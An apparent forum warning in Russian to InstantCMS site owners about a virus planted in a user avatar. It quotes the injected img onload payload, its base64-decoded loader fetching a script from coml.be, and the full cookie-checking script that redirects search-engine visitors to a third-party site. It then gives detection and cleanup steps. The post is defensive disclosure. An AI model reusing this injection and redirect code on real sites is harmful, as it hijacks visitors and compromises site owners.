Вирус делает перенаправление на левый сайт людей пришедших к вам из поисковиков
История с первым обнаружением и чем опасен вирус для самого сайта
тут — instantcms.ru/forum/thread28582-1.html
Подробности работы вируса:
К аватарке юзера прицеплен код
<img src="/upload/003/u364/a3/03/dfb0d8e4.jpg" onload="eval(atob('dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7bi5zcmM9Ii8vY29tbC5iZS9pYyI7ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImJvZHkiKVswXS5hcHBlbmRDaGlsZChuKTs='))" width="32" height="32" alt="Елена Кучукова" title="Елена Кучукова" /> </a>
Который добавляет в тело подгрузку еще одного скрипта с адреса coml.be
var n=document.createElement("script"); n.src="//coml.be/ic"; document.getElementsByTagName("body")[0].appendChild(n);
Скрипт coml.be проверяет/ставит свои куки, смотрит с поисковика ли и делает редирект на левый сайт
var rref5877=document.referrer, rt5877=GetCookie5877('r5877'), ExpDate=new Date();if(parent.window.opener && (rref5877.indexOf('google')+1 || rref5877.indexOf('nova.rambler')+1)){if(rt5877==null){parent.window.opener.location.replace("http://ruinfoblog.com/out/?eUwaYQNoJENT");}} else if(rref5877.indexOf('google')+1 || rref5877.indexOf('yandex')+1 || rref5877.indexOf('go.mail')+1 || rref5877.indexOf('nova.rambler')+1){if(rt5877==null){document.onclick = function(){window.open('http://ruinfoblog.com/out/?eUwaYQNoJENT');document.onclick = null;};}} rref5877=unescape(rref5877);ExpDate.setTime(ExpDate.getTime()+(24*60*60*1000*30));SetCookie5877('r5877', '1', ExpDate, "/");function GetCookie5877Val(offset){var endstr=document.cookie.indexOf(";", offset);if(endstr==-1)endstr=document.cookie.length;return unescape(document.cookie.substring(offset, endstr));}function GetCookie5877(name){var arg=name+"=";var alen=arg.length;var clen=document.cookie.length;var i=0;while(i<clen){var j=i+alen;if(document.cookie.substring(i, j)==arg) return GetCookie5877Val(j);i=document.cookie.indexOf(" ", i)+1;if(i == 0) break;}return null;}function SetCookie5877(name, value){var argv=SetCookie5877.arguments;var argc=SetCookie5877.arguments.length;var expires=(argc>2)?argv[2]:null;var path=(argc>3)?argv[3]:null;var domain=(argc>4)?argv[4]:null;var secure=(argc>5)?argv[5]:false;document.cookie=name+"="+escape(value)+((expires==null)?"":("; expires="+expires.toGMTString()))+((path==null)?"":("; path="+path))+((domain==null)?"":("; domain="+domain))+((secure==true)?"; secure":"");}
Проверьте свои сайты!
Как проверить?
Зайдите на свой сайт и посмотрите кукиесли есть r5877 значит вирус есть
Как быстро удалить?
Посмотрите юзеров зарегистрировавшихся за последние 2-3 неделиищите аватарку женщины на черном фоне, и удалите юзера.
Полечиться можно вот таким запросом, выполнив его в phpmyadmin
UPDATE `cms_users` SET `avatar`= NULL WHERE `avatar` LIKE '%onload%'